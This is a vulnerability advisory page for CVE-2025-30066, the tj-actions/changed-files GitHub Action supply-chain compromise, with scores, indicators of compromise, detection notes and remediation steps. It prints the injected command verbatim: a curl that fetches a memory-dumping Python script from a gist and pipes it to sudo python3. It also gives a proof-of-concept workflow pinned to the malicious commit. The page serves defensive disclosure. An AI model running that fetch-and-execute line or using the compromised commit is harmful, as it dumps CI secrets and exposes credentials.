# CVE-2025-30066: tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.

> CVE-2025-30066 (GitHub advisory GHSA-mrrh-fwg8-r2c3) is a high-severity vulnerability with a CVSS 3.1 base score of 8.6, classed as Embedded Malicious Code (CWE-506), in tj-actions/changed-files (GitHub Actions). Affected versions: <= 45.0.7. It is fixed in 46.0.1. CISA lists it as a known exploited vulnerability (added 18 Mar 2025).

Canonical page: https://cveminer.com/vulnerabilities/CVE-2025-30066

| Field | Value |
| --- | --- |
| CVE | CVE-2025-30066 |
| GHSA | GHSA-mrrh-fwg8-r2c3 |
| Severity | High |
| CVSS 3.1 | 8.6 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H` (GitHub Advisory Database) |
| CVSS 3.1 | 8.6 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` (CVE.org) |
| CWE | CWE-506 Embedded Malicious Code |
| EPSS | 69.79% (higher than 99.3% of CVEs) |
| CISA KEV | Listed 18 Mar 2025, due 8 Apr 2025 |
| SSVC | exploitation active, automatable yes, technical impact partial |
| Published | 15 Mar 2025 |
| Modified | 26 Feb 2026 |

## Description

A supply chain attack compromised the **tj-actions/changed-files** GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between **March 14 and March 15, 2025**, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.

This has been patched in [v46.0.1](https://github.com/tj-actions/changed-files/releases/tag/v46.0.1).

##### Details  
The attack involved modifying the **tj-actions/changed-files** GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.  

###### Key Indicators of Compromise (IoC):  
- **Malicious commit**: [0e58ed8671d6b60d0890c21b07f8835ace038e67](https://github.com/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67)  
- **Retroactively updated tags pointing to the malicious commit**:  
  - `v1.0.0`: 0e58ed8671d6b60d0890c21b07f8835ace038e67  
  - `v35.7.7-sec`: 0e58ed8671d6b60d0890c21b07f8835ace038e67  
  - `v44.5.1`: 0e58ed8671d6b60d0890c21b07f8835ace038e67  

###### Malicious Code Execution:  
The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:  
```
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`
```

This script targeted the **Runner Worker process**, extracting and exfiltrating its memory contents.  

##### Proof of Concept (PoC)  
###### Steps to Reproduce:  
1. Create a GitHub Actions workflow using the **tj-actions/changed-files** action:  

```yml
name: "tj-action changed-files incident"
on:
  pull_request:
    branches:
      - main
jobs:
  changed_files:
    runs-on: ubuntu-latest
    steps:
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
```
2. Run the workflow and inspect the logs in the Actions tab.  
3. Vulnerable workflows may display secrets in the logs.  

###### Detection:  
Analyze network traffic using [Harden-Runner](https://github.com/step-security/harden-runner), which detects unauthorized outbound requests to:  
- `gist.githubusercontent.com`  

Live reproduction logs:  
🔗 [Harden-Runner Insights](https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/13866127357)  

This attack was detected by **StepSecurity** when anomaly detection flagged an unauthorized outbound network call to `gist.githubusercontent.com`.  

##### Duration of Vulnerability  
The vulnerability was active between **March 14 and March 15, 2025**.  

##### Action Required  
1. **Review your workflows executed between March 14 and March 15**:  
   - Check the **changed-files** section for unexpected output.  
   - Decode suspicious output using the following command:  
     ```
     echo 'xxx' | base64 -d | base64 -d
     ```
   - If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.  

2. **Update workflows referencing the compromised commit**:  
   - If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.  

3. **Tagged versions**:  
   - If you are using tagged versions (e.g., `v35`, `v44.5.1`), no action is required as these tags have been updated and are now safe to use.  

4. **Rotate potentially exposed secrets**:  
   - As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.  

##### Impact  
- **Type of vulnerability**: Supply chain attack, Secrets exposure, Information leakage  
- **Who is impacted**:  
  - Over 23,000 repositories using **tj-actions/changed-files**.  
  - Organizations with public repositories are at the highest risk, as their logs may already be compromised.  
- **Potential consequences**:  
  - Theft of CI/CD secrets (API keys, cloud credentials, SSH keys).  
  - Unauthorized access to source code, infrastructure, and production environments.  
  - Credential leaks in public repositories, enabling further supply chain attacks.

## Affected packages

| Package | Ecosystem | PURL | Vulnerable versions | Fixed in |
| --- | --- | --- | --- | --- |
| tj-actions/changed-files | GitHub Actions | `pkg:github/tj-actions/changed-files` | <= 45.0.7 | 46.0.1 |

## Fix commits

- Pull request: https://github.com/chains-project/maven-lockfile/pull/1111
- Pull request: https://github.com/rackerlabs/genestack/pull/903
- Release: https://github.com/tj-actions/changed-files/commit/ed68ef82c095e0d48ec87eccea555d944a631a4c (46)

## Questions

**What is the GHSA ID for CVE-2025-30066?**

GitHub tracks CVE-2025-30066 as GHSA-mrrh-fwg8-r2c3.

**What is the CVSS score of CVE-2025-30066?**

CVE-2025-30066 has a CVSS 3.1 base score of 8.6 (High), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H.

**Which versions are affected by CVE-2025-30066?**

tj-actions/changed-files (GitHub Actions): <= 45.0.7.

**How do I fix CVE-2025-30066?**

Upgrade to 46.0.1 or later. The fix is in pull requests #1111 and #903.

**What is the Package URL (PURL) for CVE-2025-30066?**

The affected package's PURL is pkg:github/tj-actions/changed-files.

**Is CVE-2025-30066 exploited in the wild?**

CISA lists it as a known exploited vulnerability (added 18 Mar 2025). CISA's SSVC assessment rates exploitation as "active". EPSS estimates a 69.79% chance of exploitation in the next 30 days, higher than 99.3% of CVEs.

## References

- https://github.com/chains-project/maven-lockfile/pull/1111 (fix)
- https://github.com/rackerlabs/genestack/pull/903 (fix)
- https://github.com/tj-actions/changed-files/security/advisories/GHSA-mw4p-6x4p-x5m5 (advisory)
- https://nvd.nist.gov/vuln/detail/CVE-2025-30066 (advisory)
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/30xxx/CVE-2025-30066.json (advisory)
- https://github.com/advisories/GHSA-mrrh-fwg8-r2c3 (advisory)
- https://github.com/espressif/arduino-esp32/issues/11127 (report)
- https://github.com/modal-labs/modal-examples/issues/1100 (report)
- https://github.com/tj-actions/changed-files/issues/2463 (report)
- https://github.com/tj-actions/changed-files/issues/2464 (report)
- https://github.com/tj-actions/changed-files/issues/2477 (report)
- https://web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463 (report)
- https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066 (article)
- https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised (article)
- https://www.sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack (article)
- https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066 (article)
- https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised (article)
- https://blog.gitguardian.com/compromised-tj-actions (article)
- https://github.com/tj-actions/changed-files (package)
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066
- https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
- https://www.stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond
- https://news.ycombinator.com/item?id=43368870
- https://news.ycombinator.com/item?id=43367987
- https://github.com/tj-actions/changed-files/releases/tag/v46.0.1
- https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28
- https://github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1#L191-L193

---

Source: CVEminer (https://cveminer.com/vulnerabilities/CVE-2025-30066), compiled from OSV (GitHub advisory), GitHub Advisory Database, OSV (CVE record), CVE.org, CISA KEV catalog. OSV and GitHub Advisory Database content is licensed CC BY 4.0.